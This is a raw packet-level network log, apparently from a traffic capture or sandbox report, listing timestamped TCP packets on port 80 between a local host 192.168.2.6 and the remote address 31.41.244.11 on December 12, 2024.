Dec 12, 2024 21:50:47.175956964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.176383018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.176536083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.177582979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.177752018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.178780079 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.178837061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.179836035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.179944038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.181070089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.181174040 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.182162046 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.182357073 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.182368994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.182506084 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.183295965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.183370113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.184479952 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.184588909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.185585022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.185707092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.186706066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.186826944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.188029051 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.188191891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.189193010 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.189300060 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.189953089 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.190186977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.190300941 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.191409111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.191504955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.192497015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.192601919 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.193671942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.193798065 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.194802999 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.194925070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.195945024 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.196028948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.197082996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.197292089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.198304892 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.198318958 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.198348999 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.198373079 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.198659897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.199582100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.199620962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.200548887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.200583935 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.201778889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.201849937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.202171087 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.203109026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.203162909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.203272104 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.203982115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.204041004 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.204097033 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.204148054 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.205166101 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.205214024 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.205329895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.205379009 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.206408978 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.206459045 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.206537962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.206587076 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.207465887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.207515001 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.207580090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.207629919 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.208626986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.208678007 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.208760023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.208812952 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.209705114 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.209755898 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.209830046 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.209881067 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.210912943 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.210974932 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.211005926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.211134911 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.212075949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.212166071 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.212172985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.212277889 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.213231087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.213284016 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.215430021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.215450048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.215464115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.215490103 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.215501070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.215532064 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.215573072 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.215711117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.215759039 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.216902971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.216952085 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.216976881 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.217025042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.218010902 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.218059063 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.218075991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.218122959 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.219207048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.219264984 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.219310045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.219366074 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.220299959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.220371008 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.220417976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.220714092 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.221620083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.221679926 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.221688986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.221729040 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.222807884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.222898960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.222915888 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.222971916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.223953009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.224033117 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.224035025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.224117994 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.225016117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.225066900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.225089073 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.225179911 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.226165056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.226202965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.226241112 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.226329088 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.227168083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.227243900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.227293015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.227391005 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.228276014 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.228354931 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.235094070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.235172987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.235558033 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.235707998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.236087084 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.236752033 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.236859083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.236972094 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.237338066 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.237979889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.238043070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.238063097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.238148928 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.239100933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.239181995 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.239212990 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.239268064 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.240216017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.240293980 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.240313053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.240392923 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.241364002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.241405010 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.241446018 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.241534948 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.368033886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.368067980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.368585110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.368691921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.369790077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.369837999 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.370884895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.371084929 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.372046947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.372116089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.372119904 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.372490883 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.373152018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.373333931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.374305964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.374412060 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.375519991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.375606060 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.376656055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.376722097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.377758026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.377887011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.378902912 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.378972054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.380218029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.380300999 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.381997108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.382143974 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.382376909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.382476091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.383507013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.383599043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.384763956 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.385052919 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.385809898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.385930061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.386982918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.387101889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.388242960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.388448954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.389309883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.389318943 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.389383078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.389389992 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.389493942 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.389493942 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.390427113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.390470982 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.390624046 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.390664101 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.391537905 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.391578913 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.391911983 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.391952038 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.392786026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.392893076 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.393845081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.393965960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.394984961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.395133972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.395256996 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.396167994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.396214008 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.396224976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.396271944 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.397325993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.397370100 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.397438049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.397478104 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.398453951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.398494005 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.398606062 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.398647070 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.399848938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.399874926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.399897099 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.399914026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.400993109 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.401020050 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.401040077 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.401077032 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.401892900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.401942968 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.402045965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.402086020 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.403058052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.403100014 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.403228045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.403269053 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.404297113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.404366016 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.404400110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.404452085 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.405388117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.405433893 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.405477047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.405514956 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.406529903 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.406577110 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.406852961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.406894922 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.407656908 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.407704115 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.407735109 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.407773018 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.408804893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.408854008 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.408884048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.408926010 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.409945011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.409995079 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.410063028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.410103083 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.411133051 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.411181927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.411465883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.411511898 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.412328959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.412395954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.413439035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.413532972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.414572954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.414643049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.415697098 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.415865898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.417059898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.417367935 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.418386936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.418461084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.419435024 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.419514894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.420325041 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.432799101 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.433392048 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.436491013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.436646938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.436995029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.437194109 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.437294960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.438384056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.438494921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.439551115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.439682961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.440639973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.440798044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.441821098 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.441947937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.442411900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.442429066 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.442459106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.442945957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.445298910 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.586792946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.586813927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.587265015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.587341070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.588330030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.588473082 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.589461088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.589695930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.590678930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.590744019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.591805935 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.591944933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.592936039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.593081951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.594122887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.594330072 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.594543934 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.595344067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.595465899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.596546888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.596735001 CET	80	49971	31.41.244.11	192.168.2.6
